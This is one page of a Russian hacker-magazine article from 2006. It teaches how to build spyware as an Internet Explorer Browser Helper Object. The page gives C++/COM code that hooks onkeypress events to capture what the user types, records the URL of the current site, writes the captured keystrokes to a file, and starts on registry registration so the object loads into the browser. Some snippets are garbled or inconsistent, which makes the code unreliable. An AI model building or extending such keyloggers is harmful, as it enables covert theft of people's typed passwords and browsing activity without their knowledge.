Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

Тотальный контроль браузера

Кочубей Павел aka zOrd

Спецвыпуск: Хакер, номер #070, стр. 070-052-2


public:

STDMETHOD(SetSite)(IUnknown *pUnkSite);

STDMETHOD(Invoke)(DISPID, REFIID, LCID, WORD, DISPPARAMS*, VARIANT*, EXCEPINFO*, UINT*);

private:

STDMETHOD(Connect)(void);

CComQIPtr<IWebBrowser2, &IID_IWebBrowser2> m_spWebBrowser2;

CComQIPtr<IConnectionPointContainer, &IID_IConnectionPointContainer> m_spCPC;

DWORD m_dwCookie;

Итак, шапку spyware мы получили — будем двигаться дальше.

Если в MSDN ввести onkeypress (это имя метода используется в MSDN 2005), то через него можно выйти на get_onkeypress, а если у тебя более старая версия — используй метод IHTMLElement::onkeypress).

Для подстраховки функции необходимо еще выдергивать данные из документов. Реализуется это через функцию get_Document, а параметром ему служит IDispatch.

Сделать реализацию кода по моему описанию нетрудно:

CComPtr <IDespath> pDisp;

m_spWebBrowser2->get_Document(&pDesp);

Далее создадим указатель на функцию IHTMLDocument и присвоим ему значение диспача. Создается это следующим образом:

CComPtr <IHTMLDocument2, &IID_IHTMLDocument2> spHTML;

spHTML = pDisp;

После подобного описания функций мы сможем без проблем получить доступ к любой части кода. Для этого необходимо воспользоваться методом get_body, принадлежащим к spHTML. Теперь опишем функцию, которая, пожалуй, самая главная в написании spyware.

Метод IHTMLElement славится своими классами, и среди них - множество управляющих вводом/выводом информации в браузере. Эта функция для нас очень важна — к ее изучению мы сейчас и приступим. Для начала необходимо создать буфер — там будет собираться вся выловленная у пользователя информация. Определим, в каких интерфейсах имеется событие onkeypress:

HTMLTextContainerEvents2

HTMLAnchorEvents2

HTMLFormElementEvents2

HTMLTableEvents2

Далее обычным образом объявим необходимые функции и свяжем их — будем считать, что полдела сделано:

#define BUFSIZE 4096

...

HTMLTextContainerEvents2->onkeypress(&pDesp)

...

Теперь наш BHO научился отлавливать клавиатурные нажатия и заносить их в файл. Пожалуй, тут есть некоторое упущение. Клавиши-то она перехватывает, а вот с какого сайта? Модернизируем наш код еще несколькими функциями!

Для реализации задумки необходимо перехватить URL из модели браузера и внести его в наш файлик. Эти дела будет осуществлять метод get_LocationURL, а выглядеть все будет так:

BSTR wstr;

m_spWebBrowser->get_LocationURL(&wstr);

где wstr - это указатель на массив двухбайтовых символов, в который наш метод перенесет значения.

Вот и все — общая картина прояснилась. Теперь для полного и безоговорочного счастья остается реализовать сохранение данных в файл:

DWORD dwBytesRead, dwBytesWritten, dwBufSize=BUFSIZE;

#define BUFSIZE 4096

BOOL f_wf;

f_wf=WriteFile(hTempFile, buffer, dwBytesRead, &dwBytesWritten, NULL);

[регистрация в системе]

Любому объекту, которому необходимо закрепиться в операционной системе, надо выполнить регистрацию. Для Browser Helper Object есть специальные ключи реестра, в которые нам необходимо внести информацию.

Во время создания нашего проекта в студии также появился файл с расширением rgs. Он будет добавлен в ресурсы, а также опишет действия, которые и будут ответственны за регистрацию. Но, чтобы BHO работал корректно, нам надо немного этот файл подкорректировать. Первое, что мы сделаем, - меняем CLSID на TypeLib на те же, что и в нашем BHO. Второе - добавим в файл еще один ключ, который студия нам не приписала, а также без которого наш BHO не будет подгружаться к IE:

Назад на стр. 070-052-1  Содержание  Вперед на стр. 070-052-3